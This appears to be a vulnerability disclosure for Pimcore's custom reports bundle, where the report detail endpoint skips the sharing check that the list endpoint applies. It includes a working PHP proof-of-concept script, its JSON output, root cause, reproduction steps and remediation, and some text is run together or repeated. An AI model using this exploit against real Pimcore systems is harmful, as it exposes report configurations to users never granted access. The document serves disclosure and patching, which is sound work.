As a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.
This means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic "not visible in list, but readable by direct request" access-control bypass.
This report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.
<?php
declare(strict_types=1);
use Pimcore\Bundle\CustomReportsBundle\Controller\Reports\CustomReportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\User;
use Pimcore\Model\Tool\SettingsStore;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;
require dirname(__DIR__) . '/vendor/autoload.php';
define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));
try {
\Pimcore\Bootstrap::bootstrap();
$kernel = new \App\Kernel('dev', true);
\Pimcore::setKernel($kernel);
$kernel->boot();
$container = $kernel->getContainer();
/** @var RequestStack $requestStack */
$requestStack = getService($container, [
RequestStack::class,
'request_stack',
]);
$admin = User::getByName('admin');
if (!$admin instanceof User) {
fail('admin user is missing');
}
$auditor = User::getByName('auditor_customreports');
if (!$auditor instanceof User) {
$auditor = new User();
$auditor->setParentId(0);
$auditor->setName('auditor_customreports');
}
$auditor->setAdmin(false);
$auditor->setActive(true);
$auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass'));
$auditor->setPermissions(['reports']);
$auditor->setRoles([]);
$auditor->save();
$timestamp = time();
SettingsStore::set(
'poc-secret-report',
json_encode([
'name' => 'poc-secret-report',
'niceName' => 'PoC Secret Report',
'group' => 'Audit',
'dataSourceConfig' => [['type' => 'sql']],
'columnConfiguration' => [],
'shareGlobally' => false,
'sharedUserNames' => ['admin'],
'sharedRoleNames' => [],
'menuShortcut' => true,
'creationDate' => $timestamp,
'modificationDate' => $timestamp,
], JSON_THROW_ON_ERROR),
SettingsStore::TYPE_STRING,
'pimcore_custom_reports'
);
$tokenResolver = buildTokenResolver($auditor);
$controller = wireController(new CustomReportController(), $container, $tokenResolver);
$listRequest = new Request();
$requestStack->push($listRequest);
$listResponse = $controller->getReportConfigAction($listRequest);
$requestStack->pop();
$listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);
$getRequest = new Request(['name' => 'poc-secret-report']);
$requestStack->push($getRequest);
$getResponse = $controller->getAction($getRequest);
$requestStack->pop();
$getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);
$listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []);
echo json_encode([
'vulnerability' => 'customreports_share_bypass',
'user' => [
'id' => $auditor->getId(),
'name' => $auditor->getName(),
'permissions' => $auditor->getPermissions(),
],
'target_report' => [
'name' => 'poc-secret-report',
'shared_to' => ['admin'],
'share_globally' => false,
],
'result' => [
'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true),
'listed_report_names' => $listedNames,
'direct_get_returned_name' => $getData['name'] ?? null,
'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null,
],
], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
fail(sprintf(
'%s: %s in %s:%d%s',
$e::class,
$e->getMessage(),
$e->getFile(),
$e->getLine(),
$e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
));
}
function wireController(
UserAwareController $controller,
ContainerInterface $container,
TokenStorageUserResolver $tokenResolver
): UserAwareController
{
$controller->setContainer($container);
$controller->setTokenResolver($tokenResolver);
if (method_exists($controller, 'setPimcoreSerializer')) {
/** @var PimcoreSerializer $serializer */
$serializer = getService($container, [
PimcoreSerializer::class,
'Pimcore\\Serializer\\Serializer',
]);
$controller->setPimcoreSerializer($serializer);
}
return $controller;
}
function buildTokenResolver(User $user): TokenStorageUserResolver
{
$tokenStorage = new TokenStorage();
$proxyUser = new SecurityUser($user);
$token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
$tokenStorage->setToken($token);
return new TokenStorageUserResolver($tokenStorage);
}
function getService(ContainerInterface $container, array $ids): mixed
{
foreach ($ids as $id) {
try {
if ($container->has($id)) {
return $container->get($id);
}
} catch (Throwable) {
}
}
fail('Unable to resolve service: ' . implode(', ', $ids));
}
function fail(string $message): never
{
fwrite(STDERR, $message . PHP_EOL);
exit(1);
}
This confirms that the share-bypass issue is practically exploitable.
Summary
CustomReportsuses inconsistent authorization between the report listing endpoint and the report detail endpoint.reportsorreports_configpermissionsAs a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.
In the local Docker reproduction:
poc-secret-reportwas not visible to the low-privileged user in the report listRoot Cause
The listing flow in
getReportConfigAction()filters reports throughloadForGivenUser():However,
getAction()only checks generic permissions and then loads the report directly by name:This means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic "not visible in list, but readable by direct request" access-control bypass.
Impact
An attacker can read sensitive report metadata without authorization, including:
From the source code, other report endpoints such as
data,chart,create-csv, anddownload-csvalso resolve reports by name in a similar way:This report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.
Preconditions
reportspermissionPoC
Reproduction Steps
auditor_customreportswith thereportspermission.poc-secret-reportwith:shareGlobally = falsesharedUserNames = ['admin']auditor_customreports, request the visible report list and verify thatpoc-secret-reportis absent.getAction(name=poc-secret-report)directly.Reproduction command:
Reproduction Result
Relevant PoC output:
{ "vulnerability": "customreports_share_bypass", "user": { "name": "auditor_customreports", "permissions": [ "reports" ] }, "target_report": { "name": "poc-secret-report", "shared_to": [ "admin" ], "share_globally": false }, "result": { "report_visible_in_list": false, "listed_report_names": [], "direct_get_returned_name": "poc-secret-report", "direct_get_shared_user_names": [ "admin" ] } }This shows that:
This confirms that the share-bypass issue is practically exploitable.
Security Impact
Remediation
getAction()equivalent toloadForGivenUser().get,data,chart,create-csv, anddownload-csv.403for unshared reports.reportspermission but without report-sharing access cannot retrieve report details.References